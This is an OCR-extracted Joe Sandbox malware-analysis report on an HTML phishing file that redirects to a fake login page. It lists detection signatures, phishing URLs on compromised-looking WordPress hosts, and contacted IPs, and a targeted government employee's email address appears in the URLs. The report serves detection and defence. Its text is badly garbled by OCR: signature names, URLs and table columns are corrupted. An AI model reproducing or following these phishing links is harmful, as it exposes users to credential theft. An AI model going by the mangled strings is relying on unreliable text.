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Analysis Report 5781525.html

Overview

General Information

Sample 5781525.html
Name:

Analysis ID: 412702

MD5: 963645e8c8c7d2..
SHAL: 85fd4aa0118f6e4..
SHA256: 054dfe9971347al.
Infos: o S

Most interesting Screenshot:

e “re

Startup

= System is w10x64

Detection

F MALICIOUS 1

HTMLPhisher

Score:

Range:

Whitelisted:

Confidence:

100
0-100
false

100%

Signatures

Antivirus / Scanner detection for sub...

Antivirus detection for URL or domain

Multi AV Scanner detection for subm...

Phishing site detected

(based on fav...

Yara detected HtmIPhish10

Yara detected HtmIPhish44

Yara detected obfuscated html page

Phishing site detected (based oniim...

Phishing site detected (based on log...

HiMLL boedy: centains low/number: ofi ...

HTML titledoesinot match/ URL

|IP'addressiseeniiniconnection withio:.:

Invalidi‘ferget passwordtlinkfound

Classification

. G chrome.exe (PID: 6060 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation 'C:\Users\user\Desktop\5781525.html' MD5:

C139654B5C1438A95B321BB01AD63EF6)

. G chrome.exe (PID: 5616 cmdline: 'C:\Program Files\Google\Chrome\Application\chrome.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=

1404,3373839678695000741,8713529130945255826,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-handle=1696
Iprefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source

5781525.html

5781525.html

Sigma Overview

No Sigma rule has matched

Copyright Joe Security LLC 2021

Rule
JoeSecurity_Obshtml

JoeSecurity_HtmlPhish_44

Description
Yara detected
obfuscated html
page

Yara detected
HtmlIPhish_44

Author

Joe Security

Joe Security

Strings
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Signature Overview

@ AV Detection

@ Phishing

@ Compliance

@ Networking

@ System Summary

@

AV Detection:

Click to jump to signature section

=

Antivirus | Scanner detection for submitted sample
Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Phishing:

-

Phishing site detected (based on favicon image match)
Yara detected HtmIPhish10
Yara detected HtmIPhish44

Yara detected obfuscated html page

Mitre Att&ck Matrix

Command Remote
Initial Privilege  Defense Credential Lateral and Network Service
Access Execution Persistence Escalation Evasion Access Discovery  Movement Collection Exfiltration Control Effects Effects Impa
Valid Windows Path Process Masquerading oS System Remote Data from  Exfiltration Encrypted Eavesdrop on Remotely Modi
Accounts Management  Interception Injection Credential Service Services Local Over Other Channel Insecure Track Device Syste
Instrumentation Dumping  Discovery System Network Network Without Partit
Medium Communication Authorization
Default  Scheduled Boot or Boot or Process LSASS Application  Remote Data from  Exfiltration Non- Exploit SS7 to  Remotely Devic
Accounts Task/Job Logon Logon Injection Memory  Window Desktop Removable Over Application Redirect Phone Wipe Data  Lock«
Initialization Initialization Discovery Protocol Media Bluetooth  Layer Calls/SMS Without
Scripts Scripts Protocol Authorization
Domain At (Linux) Logon Script Logon Obfuscated Files Security Query SMB/Windows Data from Automated Application Exploit SS7to Obtain Delet
Accounts (Windows)  Script or Information Account Registry Admin Shares Network Exfiltration Layer Track Device  Device Devic
(Windows) Manager Shared Protocol §§ Location Cloud Data
Drive Backups
Local At (Windows)  Logon Script Logon Binary Padding NTDS System Distributed Input Scheduled Ingress SIM Card Carrit
Accounts (Mac) Script Network Component Capture Transfer Tool Swap Billing
(Mac) Configuration Object Model Transfer Frauc

Discovery

Behavior Graph

Copyright Joe Security LLC 2021 Page 5 of 54



ID:

Sample:
Startdate:
Architecture:
Score:

Behavior Graph
412702

5781525.html
12/05/2021
WINDOWS
100

Screenshots

Thumbnails

SUSPICIOUS

CLEAN

UNKNOWN

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

192.168.2.1

unknown

unknown

Kistenbakercoach.com ()

19:

.185.127, 443, 49736, 49737
UNIFIEDLAYER-AS-1US
United States ES

-
[1:]

«Q
[}
=
o

Process
Signature
Created File
DNS/IP Info
Is Dropped

T mnEDEC]

started

Y

Visual Basic

g5
2z
oz

)

Delphi

i
i
=

Java

D@ 2 i~

Is malicious
Internet
239.255.255.29
unknown started

Reserved

chrome.exe

esd.rwbdg.com Q@
103.120.64.61, 49715, 49716, 49717
IDNIC-SUITEN-AS-IDPTSUITENINOVASISUKSESID

Indonesia &=

Is Windows Process

.Net C# or VB.NET

Number of created Registry Values

Number of created Files

C, C++ or other language

8 othe r domains
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esd.rwbdg.com/#aHROCHMELYS X +
X @ Not secure | esd.rwbdg.com/#aHROcHM6Ly93ecml0ZX)seS5jYS8jBWR3aWxzb25AZXNKLndhLmdvdg==

Chrome is being controlled by automated test saftware,

Resalving host..

O Type here to search

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
5781525.html 17% Virustotal Browse
5781525.html 100% Avira HTML/Redirector. AN

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs
Source Detection Scanner Label Link
hitp:/’esd.rwbdg.com/#aHROcHM6Ly93cml0ZXJseS5jYS8jbWR3aWxzb25AZXNKLndhLmdvdg== 100% SlashNext Fake Login Page

type: Phishing &
Social Engineering
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https://www.virustotal.com/gui/file/054dfe9971347a123b2403c59f0ee17dc6c90861d7b9e2815c512c9b4cf57cd1/detection/f-054dfe9971347a123b2403c59f0ee17dc6c90861d7b9e2815c512c9b4cf57cd1-1620847732

Source Detection Scanner Label Link

hitp://esd.rwbdg.com/ 0% Avira URL Cloud safe
hitp://https://dns.google 0% URL Reputation safe
hitp://https://dns.google 0% URL Reputation safe
hitp://https://dns.google 0% URL Reputation safe
hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/app/lib/img/favicon.ico 0% Avira URL Cloud safe
hitp:/fesd.rwbdg.com/wild/api.php 0% Avira URL Cloud safe
hitp://https://writerly.ca/#mdwilson 0% Avira URL Cloud safe
hitp://fesd.rwbdg.com/#aHROcHM6Ly93cml0ZXJseS5jY S8jbWR3aWxzb25AZXNkLndhLmdvdg==2 0% Avira URL Cloud safe
hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/app/nextlogin? 0% Avira URL Cloud safe
csrftoken=MTYyMDgOODAOOGQzZJEINGEXMzM1YTYz

hitp://esd.rwbdg.com/#aHROcHM6LYy93cml0ZXJseS5jY S8jbWR3aWxzb25AZXNkLndhLmdvdg==/ 0% Avira URL Cloud safe
hitp://https://kristenbakercoach.com/favicon.ico 0% Avira URL Cloud safe
hitp://https://www.eaqarat-iran.ir/ 0% Avira URL Cloud safe
hitp://https://kristenbakercoach.com/8& 0% Avira URL Cloud safe
hitp://https://kristenbakercoach.com/wp-admin/js/redir/check.php2iT 0% Avira URL Cloud safe
hitp://https://writerly.ca 0% Avira URL Cloud safe
hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/app/index?email=mdwilson 0% Avira URL Cloud safe
hitp:// 0% Avira URL Cloud safe
Esd.rwbdg.com/#aHROcHM6Ly93cml0ZXJseS5jY S8jbWR3aWxzb25AZXNkLndhLmdvdg==%22%20%2

F%3E

hitp://fesd.rwbdg.com 0% Avira URL Cloud safe
hitp://https://kristenbakercoach.com/wp-admin/js/redir/? 0% Avira URL Cloud safe
csrftoken=MTYyMDgOODAzM2QzZJEINGExMzM1YTYzODE1ZGQ30

hitp://https://kristenbakercoach.com 0% Avira URL Cloud safe
hitp://https://www.eaqarat-iran.ir 0% Avira URL Cloud safe
hitp://https://kristenbakercoach.com/wp-admin/js/redir/check.php/ 0% Avira URL Cloud safe
hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/app/checkemail?email=mdwilson 0% Avira URL Cloud safe
hitp://rwbdg.com/ 0% Avira URL Cloud safe
hitp:/fesd.rwbdg.com/#aHROcHM6LYy93cml0ZXJseS5jY S8jbWR3aWxzb25AZXNkLndhLmdvdg==2: 0% Avira URL Cloud safe
hitp://fesd.rwbdg.com/favicon.ico 0% Avira URL Cloud safe
hitp://https://kristenbakercoach.com/wp-admin/js/redir/?referrer=mdwilson 0% Avira URL Cloud safe
hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/?email=mdwilson%40esd.wa.gov 0% Avira URL Cloud safe
hitp://https://kristenbakercoach.comh 0% Avira URL Cloud safe
hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/?email=mdwilson%40esd.wa.govSign 0% Avira URL Cloud safe
hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/app/lib/img/favicon.ico- 0% Avira URL Cloud safe
hitp://https://kristenbakercoach.com/wp-admin/js/redir/check.php 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
writerly.ca 172.67.150.89 true false unknown
kristenbakercoach.com 192.254.185.127 true false unknown
i0.wp.com 192.0.77.2 true false high
googlehosted.l.googleusercontent.com 142.250.185.65 true false high
esd.rwbdg.com 103.120.64.61 true false unknown
eaqarat-iran.ir 5.144.130.32 true false unknown
clients2.googleusercontent.com unknown unknown false high
code.jquery.com unknown unknown false high
www.eaqgarat-iran.ir unknown unknown false unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
hitp://esd.rwbdg.com/ false e Avira URL Cloud: safe unknown
hitp:/fesd.rwbdg.com/wild/api.php false e Avira URL Cloud: safe unknown
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Name Malicious Antivirus Detection Reputation

hitp://fesd.rwbdg.com/favicon.ico false e Avira URL Cloud: safe unknown

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

hitp://https://dns.google 0fe43e07-72aa-45bd-9c71-5446d4 false
5d43e6.tmp.1.dr, 61f0595b-1646-4806-
b570-8a2728771dea.tmp.1.dr, 082d35
50-76a6-48f0-be76-54b30bb9e679
.tmp.1.dr, a508464e-0920-44e2-bc96-
581f1b293411.tmp.1.dr, 4f7d6df5-31e0-
4b7d-9859-a360ded4b227.tmp.1.dr

URL Reputation: safe unknown
URL Reputation: safe
URL Reputation: safe

hitp://https://www.eaqarat-iran.ir/wp- Favicons.0.dr false e Avira URL Cloud: safe unknown

admin/js/eng/app/lib/img/favicon.ico

hitp://https://writerly.ca/#mdwilson History-journal.0.dr, Favicons-journal.0  false e Avira URL Cloud: safe unknown
.dr

_

hitp://https://www.eaqarat-iran.ir/wp- History.0.dr false e Avira URL Cloud: safe unknown

admin/js/eng/app/nextlogin?

csrftoken=MTYyMDgOODAOOGQzZJEINGEXMzM1YTYz

hitp://https://code.jquery.com 0fe43e07-72aa-45bd-9c71-5446d4 false high

5d43e6.tmp.1.dr, 082d3550-76a6-48f0-
be76-54b30bb9e679.tmp.1.dr

hitp://https://kristenbakercoach.com/favicon.ico Favicons-journal.0.dr, Favicons.0.dr false e Avira URL Cloud: safe unknown

hitp://https://www.eaqarat-iran.ir/ Network Action Predictor.0.dr false e Avira URL Cloud: safe unknown

hitp://https://kristenbakercoach.com/8& 91be9c6b8d3150fe_0.0.dr false e Avira URL Cloud: safe unknown

hitp://https://kristenbakercoach.com/wp- Current Session.0.dr false e Avira URL Cloud: safe unknown

admin/js/redir/check.php2iT

hitp://https://writerly.ca Current Session.0.dr, 082d3550-76a6-  false e Avira URL Cloud: safe unknown
48f0-be76-54b30bb9e679.tmp.1.dr

hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/app/index?  History.0.dr false e Avira URL Cloud: safe unknown

email=mdwilson

hitp:// 5781525.html false e Avira URL Cloud: safe unknown

Esd.rwbdg.com/#aHROcHM6Ly93cml0ZXJseS5jY S8jbWR3a

Wxzb25AZXNKLndhLmdvdg==%22%20%2F%3E

hitp://fesd.rwbdg.com Current Session.0.dr false e Avira URL Cloud: safe unknown

hitp://https://kristenbakercoach.com/wp-admin/js/redir/? Current Session.0.dr, History-journal.0.  false e Avira URL Cloud: safe unknown

csrftoken=MTYyMDgOODAzM2QzZJEINGExMzM1YTYzODE dr, Favicons-journal.0.dr, Favicons.0.dr

1ZGQ30

hitp://https://kristenbakercoach.com 000003.10g3.0.dr, 0fe43e07-72aa-45bd-  false e Avira URL Cloud: safe unknown

9c71-5446d45d43e6.tmp.1.dr, Current
Session.0.dr, 082d3550-76a6-48f0-be76-
54b30bb9e679.tmp.1.dr

hitp://https://www.eaqarat-iran.ir 0fe43e07-72aa-45bd-9c71-5446d4 false e Avira URL Cloud: safe unknown
5d43e6.tmp.1.dr, 082d3550-76a6-48f0-
be76-54b30bb9e679.tmp.1.dr

hitp://https://kristenbakercoach.com/wp- History.0.dr false e Avira URL Cloud: safe unknown
admin/js/redir/check.php/

hitp://https://www.eaqarat-iran.ir/wp- History.0.dr false e Avira URL Cloud: safe unknown
admin/js/eng/app/checkemail?email=mdwilson

hitp://https://a.nel.cloudflare.com/report? Reporting and NEL.1.dr false high
s=KZBKIITKVh2%2BpgjyoAKréaVDca7Zvi43xedjhY THAfFVfL

8ExtCspoynOMv9

hitp://https://code.jquery.com/jquery-3.5.1.js e222f00a6abb9a7f_0.0.dr false high
hitp://https://clients2.googleusercontent.com 0fe43e07-72aa-45bd-9c71-5446d4 false high

5d43e6.tmp.1.dr, 082d3550-76a6-48f0-
be76-54b30bb9e679.tmp.1.dr, a50846
4e-0920-44e2-bc96-581f1b293411

tmp.1.dr
hitp://rwbdg.com/ e222f00a6abb9a7f_0.0.dr false e Avira URL Cloud: safe unknown
-_
hitp://https://i0.wp.com 0fe43e07-72aa-45bd-9c71-5446d4 false high

5d43e6.tmp.1.dr, 082d3550-76a6-48f0-
be76-54b30bb9e679.tmp.1.dr
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Name Source Malicious Antivirus Detection Reputation

hitp://https://kristenbakercoach.com/wp-admin/js/redir/? History-journal.0.dr, Favicons-journal.0  false e Avira URL Cloud: safe unknown
referrer=mdwilson .dr
hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/? Current Session.0.dr false e Avira URL Cloud: safe unknown

email=mdwilson%40esd.wa.gov

hitp://https://kristenbakercoach.comh Current Session.0.dr false e Avira URL Cloud: safe unknown
hitp://https://feedback.googleusercontent.com manifest.json0.0.dr false high
hitp://https://www.eaqarat-iran.ir/wp-admin/js/eng/? History.0.dr false e Avira URL Cloud: safe unknown

email=mdwilson%40esd.wa.govSign

hitp://https://www.eaqarat-iran.ir/wp- Favicons.0.dr false e Avira URL Cloud: safe unknown
admin/js/eng/app/lib/img/favicon.ico-

hitp://https://kristenbakercoach.com/wp- Current Session.0.dr false e Avira URL Cloud: safe unknown
admin/js/redir/check.php

Contacted IPs

»
l..

] No. of IPs < 25%

B 25% < No. of IPs < 50% /)'

B 50% < No. of IPs < 75%

Bl 75% < No. of IPs
Public
P Domain Country Flag ASN ASN Name Malicious
103.120.64.61 esd.rwbdg.com Indonesia o} 137373 IDNIC-SUITEN-AS- false

IDPTSUITENINOVASISUKS
ESID
172.67.150.89 writerly.ca United States £S5 13335 CLOUDFLARENETUS false
5.144.130.32 eagarat-iran.ir Iran (ISLAMIC Republic Of) = 59441 HOSTIRAN-NETWORKIR false
192.0.77.2 i0.wp.com United States £S5 2635 AUTOMATTICUS false
239.255.255.250 unknown Reserved unknown unknown false
192.254.185.127 kristenbakercoach.com United States = 46606 UNIFIEDLAYER-AS-1US false
142.250.185.65 googlehosted.l.googleuser United States £S5 15169 GOOGLEUS false
content.com

Private
IP
192.168.2.1
127.0.0.1
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General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

Cookbook Comments:

Copyright Joe Security LLC 2021

32.0.0 Black Diamond
412702

12.05.2021

21:32:54

CloudBasic

Oh 7m 2s

false

light

5781525.html
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

29
0
0
0
0

e HCA enabled

e EGA enabled

e HDC enabled

* AMSI enabled

default

Timeout

MAL
mal100.phis.winHTML@44/242@8/9

e Adjust boot time

e Enable AMSI

e Found application associated with file extension:
_html

Page 11 of 54



Warnings:

Simulations

Copyright Joe Security LLC 2021

Show All
e Excluded IPs from analysis (whitelisted):

52.147.198.201, 104.43.193.48, 92.122.145.220,
142.250.185.78, 216.58.212.173, 142.250.185.206,
95.168.222.144, 69.16.175.42, 69.16.175.10,
95.168.222.76, 2.20.142.202, 2.20.143.23,
2.20.143.16, 142.250.184.195, 142.250.184.196,
172.217.16.131, 142.250.185.202,
142.250.181.227, 23.57.80.111, 34.104.35.123,
142.250.185.234, 142.250.181.234,
216.58.212.170, 142.250.74.202, 142.250.186.42,
142.250.186.74, 142.250.186.106,
142.250.186.138, 142.250.186.170,
142.250.184.202, 142.250.184.234,
172.217.18.106, 172.217.23.106, 216.58.212.138,
142.250.185.74, 104.43.139.144, 2.20.142.2009,
2.20.143.131, 40.126.31.141, 20.190.159.134,
40.126.31.143, 20.190.159.132, 20.190.159.136,
40.126.31.4, 20.190.159.138, 40.126.31.1,
20.50.102.62, 216.58.212.131, 92.122.213.194,
92.122.213.247, 20.82.210.154, 95.168.222.16,
20.54.26.129, 52.155.217.156

TCP Packets have been reduced to 100

Created / dropped Files have been reduced to 100
Excluded domains from analysis (whitelisted):
gstaticadssl.l.google.com, cds.s5x3j6q5.hwcdn.net,
www.tm.lg.prod.aadmsa.akadns.net,
clientservices.googleapis.com, iris-de-prod-azsc-
neu-b.northeurope.cloudapp.azure.com, fs-
wildcard.microsoft.com.edgekey.net,
clients2.google.com, login.live.com,
audownload.windowsupdate.nsatc.net,
update.googleapis.com, www.google.com,
watson.telemetry.microsoft.com, www.gstatic.com,
au-bg-shim.trafficmanager.net, fs.microsoft.com,
content-autofill.googleapis.com, displaycatalog-rp-
europe.md.mp.microsoft.com.akadns.net, r5.sn-
n02xgoxufvg3-2gbs.gvtl.com, ris-
prod.trafficmanager.net, r1.sn-n02xgoxufvg3-
2gbl.gvtl.com,
skypedataprdcolcus16.cloudapp.net,
www.tm.a.prd.aadg.akadns.net,
www.googleapis.com, r5---sn-n02xgoxufvg3-
2gbz.gvtl.com,
skypedataprdcolcus15.cloudapp.net,
ris.api.iris.microsoft.com, edgedl.me.gvtl.com,
store-images.s-microsoft.com,
blobcollector.events.data.trafficmanager.net,
clients.l.google.com,
au.download.windowsupdate.com.edgesuite.net,
r1---sn-n02xgoxufvg3-2gbl.gvtl.com, store-
images.s-microsoft.com-c.edgekey.net, r5---sn-
n02xgoxufvg3-2gbs.gvtl.com, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net, arc.msn.com,
r5.sn-n02xgoxufvg3-2gbz.gvtl.com, consumerrp-
displaycatalog-aks2eap-
europe.md.mp.microsoft.com.akadns.net,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, e12564.dspb.akamaiedge.net,
redirector.gvtl.com, arc.trafficmanager.net,
displaycatalog.mp.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net, displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
accounts.google.com, fonts.gstatic.com,
ctldl.windowsupdate.com,
e1723.g.akamaiedge.net, a767.dscg3.akamai.net,
iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com,
login.msa.msidentity.com,
skypedataprdcoleus16.cloudapp.net,
displaycatalog-rp.md.mp.microsoft.com.akadns.net
Report size exceeded maximum capacity and may
have missing behavior information.

Report size getting too big, too many NtCreateFile
calls found.

Report size getting too big, too many NtOpenFile
calls found.

Report size getting too big, too many
NtQueryVolumelnformationFile calls found.

Report size getting too big, too many
NtWriteVirtualMemory calls found.
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Behavior and APIs

Time Type Description

21:33:49 API Interceptor 1x Sleep call for process: chrome.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256

5.144.130.32 Get hash
Get hash
Get hash

192.0.77.2 Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Copyright Joe Security LLC 2021

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

civil-gro
up.ir/rvnh
dtkyxgu/44
266.701879
2824.dat
civil-gro
up.ir/rvnh
dtkyxgu/44
266.696987
3843.dat

kungfuafz
.ir/kay/po
ny/shit.exe

i0.wp.com
/homeschoo
lingteen.c
om/wp-cont
ent/upload
s/2016/06/
AdvertiseH
ere467x60n
ew.png

il.wp.com
/reboot.pr
o/public/s
tyle_image
s/metro/pr
ofile/defa
ult_large.png

il.wp.com
/reboot.pr
o/public/s
tyle_image
s/metro/pr
ofile/defa
ult_large.png

il.wp.com
/reboot.pr
o/public/s
tyle_image
s/metro/pr
ofile/defa
ult_large.png

il.wp.com
/reboot.pr
o/public/s
tyle_image
s/metro/pr
ofile/defa
ult_large.png

i0.wp.com
Iwp_user_a
vatar

i2.wp.com
/www.onesi
te.com.au/wp-
content
Iplugins/easy-
testimonials/inc
lude/css/m
ystery_man
.png
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https://view.joesandbox.com/analysis/276413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/276413/html/none?idtype=webid
https://view.joesandbox.com/analysis/276409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/276409/html/none?idtype=webid
https://view.joesandbox.com/analysis/13618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/13618/html/none?idtype=webid
https://view.joesandbox.com/analysis/238192/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238192/html/none?idtype=webid
https://view.joesandbox.com/analysis/228420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228420/html/none?idtype=webid
https://view.joesandbox.com/analysis/223141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/223141/html/none?idtype=webid
https://view.joesandbox.com/analysis/172740/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/172740/html/none?idtype=webid
https://view.joesandbox.com/analysis/172736/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/172736/html/none?idtype=webid
https://view.joesandbox.com/analysis/158180/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/158180/html/none?idtype=webid
https://view.joesandbox.com/analysis/123326/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/123326/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e i0.wp.com
/theantime
dia.org/wp-
content/u
ploads/201
7/01/profi
le_image.png
Get hash malicious Browse e il.wp.com
hwww.hks-h
ukkers.net
/forum/pub
lic/style_
images/sur
face_1_/pr
ofile/defa
ult_large.png
Get hash malicious Browse e il.wp.com
/lambanh36
5.com/wp-c
ontent/the
mes/food-c
ook/images
/gravatar.png
F Get hash malicious Browse e i0.wp.com
www.momsl|
ife.com.ua
/images/mo
ther-comme
nt.png
Domains
Match Associated Sample Name / URL SHA 256 Detection Link Context
Get hash malicious Browse e 192.0.77.2
hitp:/, Get hash malicious Browse e 192.0.77.2
Get hash malicious Browse e 192.0.77.2
hitp:/, Get hash malicious Browse e 192.0.77.2
hitp:/, Get hash malicious Browse e 192.0.77.2
Get hash malicious Browse e 192.0.77.2
Get hash malicious Browse e 192.0.77.2
Get hash malicious Browse e 192.0.77.2
hitp:/, Get hash malicious Browse e 192.0.77.2
hitp:/, Get hash malicious Browse e 192.0.77.2
Get hash malicious Browse e 192.0.77.2
Get hash malicious Browse e 192.0.77.2
Get hash malicious Browse e 192.0.77.2
Get hash malicious Browse e 192.0.77.2
hitp:/, Get hash malicious Browse e 192.0.77.2
hitp:/, Get hash malicious Browse e 192.0.77.2
ASN
Match Associated Sample Name / URL SHA 256 Detection Link Context
CLOUDFLARENETUS 7e718b_by Libranalysisexe  Gethash malicious Browse o 172.67.145.48
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https://view.joesandbox.com/analysis/119124/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/119124/html/none?idtype=webid
https://view.joesandbox.com/analysis/118845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/118845/html/none?idtype=webid
https://view.joesandbox.com/analysis/83838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/83838/html/none?idtype=webid
https://view.joesandbox.com/analysis/74678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/74678/html/none?idtype=webid
https://view.joesandbox.com/analysis/257741/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257741/html/none?idtype=webid
https://view.joesandbox.com/analysis/238192/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238192/html/none?idtype=webid
https://view.joesandbox.com/analysis/225344/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/225344/html/none?idtype=webid
https://view.joesandbox.com/analysis/218990/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218990/html/none?idtype=webid
https://view.joesandbox.com/analysis/218975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218975/html/none?idtype=webid
https://view.joesandbox.com/analysis/218974/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/218974/html/none?idtype=webid
https://view.joesandbox.com/analysis/217120/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/217120/html/none?idtype=webid
https://view.joesandbox.com/analysis/216616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216616/html/none?idtype=webid
https://view.joesandbox.com/analysis/216530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216530/html/none?idtype=webid
https://view.joesandbox.com/analysis/216456/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216456/html/none?idtype=webid
https://view.joesandbox.com/analysis/216455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216455/html/none?idtype=webid
https://view.joesandbox.com/analysis/216454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/216454/html/none?idtype=webid
https://view.joesandbox.com/analysis/214928/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214928/html/none?idtype=webid
https://view.joesandbox.com/analysis/212438/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/212438/html/none?idtype=webid
https://view.joesandbox.com/analysis/203502/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203502/html/none?idtype=webid
https://view.joesandbox.com/analysis/175725/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/175725/html/none?idtype=webid
https://view.joesandbox.com/analysis/174275/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/174275/html/none?idtype=webid
https://view.joesandbox.com/analysis/174261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/174261/html/none?idtype=webid
https://view.joesandbox.com/analysis/168413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/168413/html/none?idtype=webid
https://view.joesandbox.com/analysis/167971/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/167971/html/none?idtype=webid
https://view.joesandbox.com/analysis/321179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321179/html/none?idtype=webid
https://view.joesandbox.com/analysis/321152/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321152/html/none?idtype=webid
https://view.joesandbox.com/analysis/321110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321110/html/none?idtype=webid
https://view.joesandbox.com/analysis/321081/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321081/html/none?idtype=webid
https://view.joesandbox.com/analysis/321057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321057/html/none?idtype=webid
https://view.joesandbox.com/analysis/321045/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321045/html/none?idtype=webid
https://view.joesandbox.com/analysis/320996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320996/html/none?idtype=webid
https://view.joesandbox.com/analysis/320993/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320993/html/none?idtype=webid
https://view.joesandbox.com/analysis/320967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320967/html/none?idtype=webid
https://view.joesandbox.com/analysis/320866/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320866/html/none?idtype=webid
https://view.joesandbox.com/analysis/320844/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320844/html/none?idtype=webid

Match

AUTOMATTICUS

HOSTIRAN-NETWORKIR

JA3 Fingerprints

Match
b32309a26951912be7dba376398abc3b

Copyright Joe Security LLC 2021

SHA 256
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash

> >
/] /]
173 173
o o
2, 2,
2 2
@ @
o o
7] (]
o 2
3 3
j= i
) ]
2 2
& o
3 3
® o
c c
A A
[l [l

Detection
malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious

malicious

malicious

malicious

malicious

Link
Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
